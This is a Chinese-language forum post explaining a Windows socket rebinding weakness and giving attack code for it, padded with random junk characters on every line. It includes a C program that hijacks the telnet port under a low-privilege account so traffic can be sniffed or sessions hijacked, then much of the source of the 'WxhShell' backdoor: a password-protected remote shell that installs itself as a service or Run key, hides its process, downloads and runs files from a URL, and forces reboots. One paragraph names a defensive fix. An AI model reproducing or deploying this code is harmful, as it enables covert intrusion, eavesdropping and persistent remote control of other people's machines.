社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17382阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  &=@IzmA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '1P2$#  
9N#_( uwt  
  saddr.sin_family = AF_INET; 9|^2",V  
APn|\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aD<A.Lhy  
y|C(X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /wQy17g  
O@T9x$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X[-xowE-  
lK?uXr7^  
  这意味着什么?意味着可以进行如下的攻击: e/KDw  
rT=rrvV3g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c?(4t67|  
!P2ro~0/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uanhr)Ys  
I13y6= d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L\6M^r >  
EKYY6S2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DzAg"6=CS  
AVsDt2A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \0^Kram>  
|0&IXOW"XF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]{;gw<T  
aj-Km`5r}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l] K3Y\#bP  
{X!r8i  
  #include =}<IfNA  
  #include 3<e=g)F  
  #include Yj<a" Gr4[  
  #include    k90YV(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iOf<$f  
  int main() $H2u.U<ip  
  { DHg :8%3x  
  WORD wVersionRequested; rP'me2 B  
  DWORD ret; sbfuzpg]*  
  WSADATA wsaData; /m!BY}4W  
  BOOL val; ^L,K& Jd  
  SOCKADDR_IN saddr; cRC6 s8  
  SOCKADDR_IN scaddr; 1>.Ev,X+e  
  int err; 4V"E8rUL(  
  SOCKET s; O"+ gQXe  
  SOCKET sc; "-M p_O]  
  int caddsize; K,tQ!kk  
  HANDLE mt; %6t:(z  
  DWORD tid;   #]-SJWf3  
  wVersionRequested = MAKEWORD( 2, 2 ); f'F?MINJP  
  err = WSAStartup( wVersionRequested, &wsaData ); k x8G  
  if ( err != 0 ) { qRu~$K  
  printf("error!WSAStartup failed!\n"); 9v#CE!  
  return -1; ynp8r f  
  } i[i4h"$0  
  saddr.sin_family = AF_INET; JT~4mT  
   05|=`eJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n5|fHk^s  
"BAK !N$9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IM*y|UHt  
  saddr.sin_port = htons(23); %q"%AauJR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6dHOf,zjm  
  { Q(G#W+r  
  printf("error!socket failed!\n"); 3s*mbk[J  
  return -1; 'z8pzMmT  
  } zE*li`@  
  val = TRUE; C-xr"]#]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MyOd,vU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nd4f^Y   
  { WH%g(6w1j  
  printf("error!setsockopt failed!\n"); m5n #v  
  return -1; '(6z. toQ  
  } . P viA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `6;?9NI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qfF~D0}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _1X!EH"  
a9e>iU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T}Tp$.gB  
  { E#RDqL*J  
  ret=GetLastError(); xa'*P=<)C'  
  printf("error!bind failed!\n"); y G~?MEh{  
  return -1; z9f-.72"X  
  } W_293["lS  
  listen(s,2); d2FswF$C  
  while(1) m[osg< CR_  
  { cdH>n)  
  caddsize = sizeof(scaddr); 5PCqYN(:B  
  //接受连接请求 :9afg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d7^}tM  
  if(sc!=INVALID_SOCKET) (y'hyJo  
  { [|wZ77\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n)/z0n!\  
  if(mt==NULL) \<h0Q,e  
  { ";lVa'HMZ  
  printf("Thread Creat Failed!\n"); wSL}`CgU  
  break; FgnTGY}  
  } .8g)av+  
  } )6MfRw  
  CloseHandle(mt); .~db4d]  
  } <V'@ks%  
  closesocket(s); qx(xvU9  
  WSACleanup(); h f)?1z4  
  return 0; $p8xEcQdU#  
  }   S>+|OCl";  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^#-l q)  
  { # +>oZWVc  
  SOCKET ss = (SOCKET)lpParam; G>_*djUf  
  SOCKET sc; lBE= (A`  
  unsigned char buf[4096]; G't$Qx,IC  
  SOCKADDR_IN saddr; ]! &FKy  
  long num; Y Uc+0  
  DWORD val; g axsv[W>^  
  DWORD ret; P:S.~Jq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;+_:,_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2|y"!JqE1  
  saddr.sin_family = AF_INET; _ye |Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c ]-<vkpV  
  saddr.sin_port = htons(23); \7eUw,~Q>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j;Gtu  
  { =J==i?  
  printf("error!socket failed!\n"); &B;~  
  return -1; ;d$rdFA_  
  } //MUeTxR  
  val = 100; }K>d+6qk5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =s{>Fsm1  
  { FUzzB94a  
  ret = GetLastError(); 8`{:MkXP  
  return -1; t3ZOco@~P  
  } dQX6(J j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nF:4}qy\  
  { ?R 'r4P,  
  ret = GetLastError(); 7z,C}-q  
  return -1; y<3-?}.aZ  
  } V &T~zh1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /s?`&1v|r  
  { DfD&)tsMQ  
  printf("error!socket connect failed!\n"); Ee#q9Cx^J  
  closesocket(sc); {TROoX~H?  
  closesocket(ss); E&w7GZNt  
  return -1; G!##X: 6'  
  } n8[!pH~6  
  while(1) Q{>k1$fkV  
  { ,qwuLBW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =svN#q5s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @ q3k%$4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G_JA-@i%  
  num = recv(ss,buf,4096,0); TX/Xt7#R:  
  if(num>0) 3}1u\(Mf  
  send(sc,buf,num,0); r5/0u(\LB  
  else if(num==0) e9tjw[+A  
  break; HiFUv>,u  
  num = recv(sc,buf,4096,0); ~~P5k:  
  if(num>0) C) s5D  
  send(ss,buf,num,0); WwFm*4{[o  
  else if(num==0) >=>2m2z=  
  break; ?V=ZIGj  
  } uzPV To|=  
  closesocket(ss); xo&_bMO  
  closesocket(sc); rlLMT6r.8  
  return 0 ; q;CiV  
  } `h\j99  
T -2t.Xs  
e T{ 4{  
========================================================== +'a^f5  
AT3Mlz~7#  
下边附上一个代码,,WXhSHELL X_h}J=33Q  
t:Q*gW Rh  
========================================================== Il 'fL'3  
)10+@d  
#include "stdafx.h" teF9Q+*~  
Hn"RH1Zy  
#include <stdio.h> 4HlQ&2O%#  
#include <string.h> >bW #Zs,6  
#include <windows.h> a=2%4Wmz  
#include <winsock2.h> 4[e X e$  
#include <winsvc.h> /x$nje,.  
#include <urlmon.h> ~?BXti<!  
bG#>uE J-  
#pragma comment (lib, "Ws2_32.lib") R/YqyT\SM  
#pragma comment (lib, "urlmon.lib") 4B.*g-L   
5b*C1HS@X  
#define MAX_USER   100 // 最大客户端连接数 |{ip T SH  
#define BUF_SOCK   200 // sock buffer #6=  
#define KEY_BUFF   255 // 输入 buffer 7. oM J  
y6a3t G  
#define REBOOT     0   // 重启 WsB?C&>x  
#define SHUTDOWN   1   // 关机 4WB0Pt{  
z03K=aZ  
#define DEF_PORT   5000 // 监听端口 WyiQoN'q  
5H^ (2w  
#define REG_LEN     16   // 注册表键长度 W=?<<dVYD  
#define SVC_LEN     80   // NT服务名长度 z24q3 3O  
$& c*'3  
// 从dll定义API 'w aaw_>b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  RRJ%:5&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Di{de`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PKz':_|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {.Jlbi9!  
F+qm[Bc8  
// wxhshell配置信息 a<e[e>  
struct WSCFG { UEL _uij  
  int ws_port;         // 监听端口 c:('W16  
  char ws_passstr[REG_LEN]; // 口令 d'> x(Yi  
  int ws_autoins;       // 安装标记, 1=yes 0=no c+ie8Q!  
  char ws_regname[REG_LEN]; // 注册表键名 xE}>,O|'q  
  char ws_svcname[REG_LEN]; // 服务名 ?Bmb' 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  bN.Pex  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x+]"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |.dRily+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4qa.1j(R/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  M6TD"-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |s_GlJV.  
E{(;@PzE  
}; a+QpM*n7Lq  
\U_@S.  
// default Wxhshell configuration {;oPLr+Z  
struct WSCFG wscfg={DEF_PORT, Hn:Crl y#  
    "xuhuanlingzhe", k?}Zg*  
    1, =(^3}x  
    "Wxhshell", j<$2hiI/?&  
    "Wxhshell", EQ_aa@M7  
            "WxhShell Service", dRMx[7jVA  
    "Wrsky Windows CmdShell Service", []T8k9g/-  
    "Please Input Your Password: ", AQ Ojit6p  
  1, Ys7]B9/1O  
  "http://www.wrsky.com/wxhshell.exe", $[|mGae  
  "Wxhshell.exe" xz]~ jL@-]  
    }; ;VK.2^jW!  
i/.6>4tE:  
// 消息定义模块 m {}Lm)M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EM_d8o)`B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +[ZY:ZQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,%y /kS]  
char *msg_ws_ext="\n\rExit."; + T+#q@  
char *msg_ws_end="\n\rQuit."; u? EN  
char *msg_ws_boot="\n\rReboot..."; n"8Yv~v*2j  
char *msg_ws_poff="\n\rShutdown..."; qgB_=Q#E  
char *msg_ws_down="\n\rSave to "; -g<oS9   
IGgL7^MF  
char *msg_ws_err="\n\rErr!"; s#MPX3itK  
char *msg_ws_ok="\n\rOK!"; ?A0)L27UE&  
>Gu M]qn  
char ExeFile[MAX_PATH]; `@%LzeGz  
int nUser = 0; 'fW-Y!k%  
HANDLE handles[MAX_USER]; mZBo~(}  
int OsIsNt; 8,|kao:  
d_ CT $  
SERVICE_STATUS       serviceStatus; MfkZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u:b=\T L  
{[F A#  
// 函数声明 h`KU\X ) A  
int Install(void); yQrD9*t&g  
int Uninstall(void); .]Z"C&"N]  
int DownloadFile(char *sURL, SOCKET wsh); )}v l\7=  
int Boot(int flag); @nf`Gw ;  
void HideProc(void); ,,TnIouy  
int GetOsVer(void); 4K74=r),i  
int Wxhshell(SOCKET wsl); JS77M-Ac  
void TalkWithClient(void *cs); `h;[TtIX4  
int CmdShell(SOCKET sock); cCX*D_kCB  
int StartFromService(void); !'Kj x  
int StartWxhshell(LPSTR lpCmdLine); B<-Wea  
Ca\6vR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w =KPT''!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jdBLsy@  
%)wjR/o  
// 数据结构和表定义 45oR=At n  
SERVICE_TABLE_ENTRY DispatchTable[] = j.YA 2mr  
{ SX*RP;vHy  
{wscfg.ws_svcname, NTServiceMain}, W9)&!&<o  
{NULL, NULL} <vP=zk  
}; snJ129}A  
'<M{)?  
// 自我安装 oU/5 a>9~  
int Install(void) g=rbPbu  
{ (w{j6).3Dj  
  char svExeFile[MAX_PATH]; [ 3HfQ  
  HKEY key; o(HbGHIP  
  strcpy(svExeFile,ExeFile); p#Bi>/C6  
t^L]/$q  
// 如果是win9x系统,修改注册表设为自启动 $J2Gf(RU  
if(!OsIsNt) { ;nGa.= "L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a9G8q>h]O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U~8g_*  
  RegCloseKey(key); 6nQq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q20 %"&Xp]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _j3fAr(V  
  RegCloseKey(key); M_8{]uo  
  return 0; "]dI1 g_  
    } #*}+J3/  
  } #`IN`m|  
} &NWEqBz*2  
else { ]tD]Wx%  
=}*0-\QG  
// 如果是NT以上系统,安装为系统服务 6 r"<jh#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rKn~qVls  
if (schSCManager!=0) HhpDR  
{ weQ_*<5%  
  SC_HANDLE schService = CreateService (?c-iKGc  
  ( P'2Qen*  
  schSCManager, ~V-XEQA  
  wscfg.ws_svcname, _^;Z~/.  
  wscfg.ws_svcdisp, xmG<]WF>E  
  SERVICE_ALL_ACCESS, yZRzIb_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s>en  
  SERVICE_AUTO_START, u"8yK5!  
  SERVICE_ERROR_NORMAL, zTp"AuNHN  
  svExeFile, 8QK&_n*  
  NULL, \8 ":]EU  
  NULL, %$I;{-LD  
  NULL, nu^436MSOa  
  NULL, j [a(#V{  
  NULL ;*N5Y}?j'  
  ); !W\+#ez  
  if (schService!=0) (mOtU8e  
  { mR~&)QBP.  
  CloseServiceHandle(schService); *#2h/Q.  
  CloseServiceHandle(schSCManager); Zc yc*{DS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N;R^h? '  
  strcat(svExeFile,wscfg.ws_svcname); @L`jk+Y0vF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *R"/|Ka  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >eaaaq9B-  
  RegCloseKey(key);  bLL2  
  return 0; [?gP;,  
    } E{\2='3\  
  } >ef6{URy<  
  CloseServiceHandle(schSCManager); ~rm_vo  
} /xQTxh1;K  
} -4K5-|>O  
}b}m3i1  
return 1; jCY %|  
} :]"V-1#}  
gIfh3D=yX  
// 自我卸载 uO**E-`  
int Uninstall(void) DH=hH&[e(d  
{ FwK] $4*  
  HKEY key; NHt\ U9l'  
rjP/l6 ~'  
if(!OsIsNt) { "7 yD0T)2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l}h!B_P'  
  RegDeleteValue(key,wscfg.ws_regname); "tZe>>I  
  RegCloseKey(key); k+ /6$pI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?M2J wAK5  
  RegDeleteValue(key,wscfg.ws_regname); cNrg#Asen&  
  RegCloseKey(key); )+^+s d  
  return 0; bD^owa  
  } ^q&x7Kv%  
} =M1I>  
} #4:?gfIj  
else { y5r4&~04  
Iv *<L a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r%_djUd  
if (schSCManager!=0) +q4O D$}  
{ SM '|+ d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kM 6 Qp  
  if (schService!=0) kstIgcI  
  { Wri<h:1  
  if(DeleteService(schService)!=0) { G2D$aSh  
  CloseServiceHandle(schService); ,hVli/  
  CloseServiceHandle(schSCManager); x4 yR8n(  
  return 0; pb}*\/s  
  }  &HW9Jn  
  CloseServiceHandle(schService); Ie_wHcM<  
  } ![1rzQvGDb  
  CloseServiceHandle(schSCManager); *VcJ= b 2Y  
} E fDH6  
} [6fQ7uFMM8  
}OUtsh]y  
return 1; ]/Pn EU[  
} [~HN<>L@C  
fu5=k:/c  
// 从指定url下载文件 Ytkv!]"  
int DownloadFile(char *sURL, SOCKET wsh) J zl6eo[;  
{ ]DcFySyv  
  HRESULT hr; Ew N}l  
char seps[]= "/"; ;+%rw2Z,B  
char *token; Dtk=[;"k2a  
char *file; t_^4`dW`  
char myURL[MAX_PATH]; C]6O!Pb0  
char myFILE[MAX_PATH]; 1#x0q:6  
L,\Iasv  
strcpy(myURL,sURL); I,tud!p`  
  token=strtok(myURL,seps); w:0E(z  
  while(token!=NULL) @dK Tx#gZ  
  { 'DR!9De  
    file=token; *w&e\i|7  
  token=strtok(NULL,seps); K0~rN.C!0  
  }  R&&4y 7  
(=0.inZ  
GetCurrentDirectory(MAX_PATH,myFILE); & 21%zPm  
strcat(myFILE, "\\"); L0,'mS  
strcat(myFILE, file); 3`g^  
  send(wsh,myFILE,strlen(myFILE),0); 'L'R9&o<X  
send(wsh,"...",3,0); dd;~K&_Q/i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )7F/O3Tq  
  if(hr==S_OK) %J(:ADu]  
return 0; la!~\wpa  
else lxx2H1([  
return 1; C+$#y2"z#n  
V gWRW7Se  
} 79gT+~z   
<~)P7~$d?p  
// 系统电源模块 u 9e@a9c  
int Boot(int flag) K+eM   
{ ^qs $v06  
  HANDLE hToken; $'vU2L  
  TOKEN_PRIVILEGES tkp; f*Hr^b}`8  
t@(HF-4~=  
  if(OsIsNt) { 4#D,?eA7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &ZO0r ^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 81F9uM0  
    tkp.PrivilegeCount = 1; 10&8-p1/mc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \z$= K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _ q"Gix  
if(flag==REBOOT) { 5xiEPh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KI.unP%  
  return 0; w0. u\  
} g)-te+?6  
else { X$ D6Ey  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ry&6p>-  
  return 0; X}]-*T|a  
} [E_9V%^  
  } +@UV?"d  
  else { i b m4fa  
if(flag==REBOOT) { / {%%"j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ceA9) {  
  return 0; XW/o<[91  
} c-w)|-ac.  
else { +ZYn? #IQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZCw]m#lS  
  return 0; $G>.\t  
} gw(z1L5 n  
} {g6%(X\r.r  
bt *k.=p  
return 1; Kw}'W 8`c  
} KoYF]  
)u">it+  
// win9x进程隐藏模块 k)u[0}   
void HideProc(void) @HW*09TG  
{ %y@AA>x!  
#$vEGY}1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G3]4A&h9v~  
  if ( hKernel != NULL ) E^PB)D(.  
  { 49P 4b<1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b6[j%(   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3T 9j@N77  
    FreeLibrary(hKernel); !k%#R4*>  
  } SuznN L=/$  
R+|hw;  
return; ?"FbsMk.d  
} $M#>9QHhc  
IID5c" oR  
// 获取操作系统版本 ]9L oZ)  
int GetOsVer(void) D$N /FJ8|G  
{ @;kSx":b  
  OSVERSIONINFO winfo;  OSJ$d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A >$I -T+  
  GetVersionEx(&winfo); 'S~5"6r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l,: F  
  return 1; X 8|EHb<  
  else 5;S.H#YOpO  
  return 0; p'fYULYE  
} zzz3Bq~  
fnY.ao1-s[  
// 客户端句柄模块 2tLJU  Z1  
int Wxhshell(SOCKET wsl) 5r_|yu  
{ Wm|lSisY  
  SOCKET wsh; :KN-F86i  
  struct sockaddr_in client; Ie^l~ Gb  
  DWORD myID; 2oU_2P  
m,S{p<-h  
  while(nUser<MAX_USER) <Qq*p  
{ .-=vx r  
  int nSize=sizeof(client); Zov~B-Of:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AEuG v}#  
  if(wsh==INVALID_SOCKET) return 1; zVD:#d% b  
jtc~DL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I|J/F}@p  
if(handles[nUser]==0) `kr?j:g  
  closesocket(wsh); &?vgP!d&M  
else <or2  
  nUser++; CJ%I51F`X  
  } qVPeB,kIz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {^'HL   
+ )?J#g  
  return 0; kR9-8I{J  
} 66 Tpi![  
ap~^Ty<>  
// 关闭 socket 2[CdZ(k]5  
void CloseIt(SOCKET wsh) PzGWff!*n  
{ <1%$Vq  
closesocket(wsh); v3qA":(w+(  
nUser--; };g"GNy  
ExitThread(0); kN>!2UfNS  
} T>GM%^h,7-  
ETLD$=iS  
// 客户端请求句柄 Fx+*S3==%e  
void TalkWithClient(void *cs) 8Eq7Sa  
{ H|D.6^  
EE'!|N3  
  SOCKET wsh=(SOCKET)cs; ;6 wA"  
  char pwd[SVC_LEN]; BB'OCN  
  char cmd[KEY_BUFF]; 2m[<]$  
char chr[1]; :aQt;C6Z>  
int i,j; @A 5?3(e  
C $JmzrE  
  while (nUser < MAX_USER) { }{"fJ3] c^  
3Y~>qGQwh  
if(wscfg.ws_passstr) { PT9*)9<L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "vslZ`RU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q|L~=9  
  //ZeroMemory(pwd,KEY_BUFF); Z<4AL\l 98  
      i=0; ^I)N. 5  
  while(i<SVC_LEN) { e$pV%5=  
JZ#[ 2mLh  
  // 设置超时 &M '*6A  
  fd_set FdRead; HdG2X  
  struct timeval TimeOut; [PM4k0YC8  
  FD_ZERO(&FdRead); J")#I91  
  FD_SET(wsh,&FdRead);  ][]  
  TimeOut.tv_sec=8; CA#,THty  
  TimeOut.tv_usec=0; nvUc\7(%NW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'eX '  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F\KUZ[%  
LD g?'y;2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LrK,_)r:~  
  pwd=chr[0]; 9I/N4sou  
  if(chr[0]==0xd || chr[0]==0xa) { w\brVnt  
  pwd=0; t_suF$  
  break; Ki~1qu:  
  } 4g7)iL^#~  
  i++; Y#3c }qb  
    } VYhbx 'e  
|a%Tp3Q~  
  // 如果是非法用户,关闭 socket FEVlZ<PW3I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  {>%&(  
} #!m.!? O  
-)/$M(Pu"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %!L9)(}"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y|q3Wa  
KK%M~Y+tU'  
while(1) { 4NIRmDEd  
_]*>*XfF(  
  ZeroMemory(cmd,KEY_BUFF); kE(mVyLQ  
jb;hcraR  
      // 自动支持客户端 telnet标准   r(2uu  
  j=0; Lu0x (/  
  while(j<KEY_BUFF) { F*K_+ ?m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c7E11 \%&Z  
  cmd[j]=chr[0]; OaZQ7BGq  
  if(chr[0]==0xa || chr[0]==0xd) { )tnh4WMh}  
  cmd[j]=0; ,i@:5X/t  
  break; Z87|Zl  
  } >6pf$0  
  j++; Zoc0!84<z  
    } SC])?h-Fw  
9!DQ~k%  
  // 下载文件 H]jhAf<h  
  if(strstr(cmd,"http://")) { vFK<J Sk!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wg]LVW}  
  if(DownloadFile(cmd,wsh)) :<#nTh_@\'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B !=F2  
  else gOOPe5+ J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vl!6W@g  
  } (NnH:J`  
  else { t>B;w14  
g SAt@2*U2  
    switch(cmd[0]) { U~l$\ c  
  '!a'ZjYyi  
  // 帮助 d$AWu{y  
  case '?': { 5-xX8-ElYz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E1U",CMU  
    break; (DP &B%Sf  
  } \K<QmK  
  // 安装 a+T.^koY  
  case 'i': { X/M4!L}\  
    if(Install()) W1FI mlXS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p Q<Y:-`c  
    else Q({ r@*g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VgC2+APg  
    break; 1q1jZqno  
    } Vr1<^Ib  
  // 卸载 _aMPa+D=P  
  case 'r': { qH6>!=00  
    if(Uninstall()) l/ ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '1)$'   
    else 'D"C4;X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y e? 'Ze  
    break; M6-&R=78K  
    } A;|D:;x3G  
  // 显示 wxhshell 所在路径 1"M]3Kl  
  case 'p': { 5=?\1`e1[  
    char svExeFile[MAX_PATH]; zeC RK+-  
    strcpy(svExeFile,"\n\r"); =;&yd';k  
      strcat(svExeFile,ExeFile); @)&=%  
        send(wsh,svExeFile,strlen(svExeFile),0); xDoC(  
    break; 'V=P*#|SR  
    } s1=G;  
  // 重启 #!KE\OI;@5  
  case 'b': { V0XvJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  *m,k(/>  
    if(Boot(REBOOT)) |:<f-j7t~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FfPar:PHj  
    else { $.rhRKs  
    closesocket(wsh); %vhnl'  
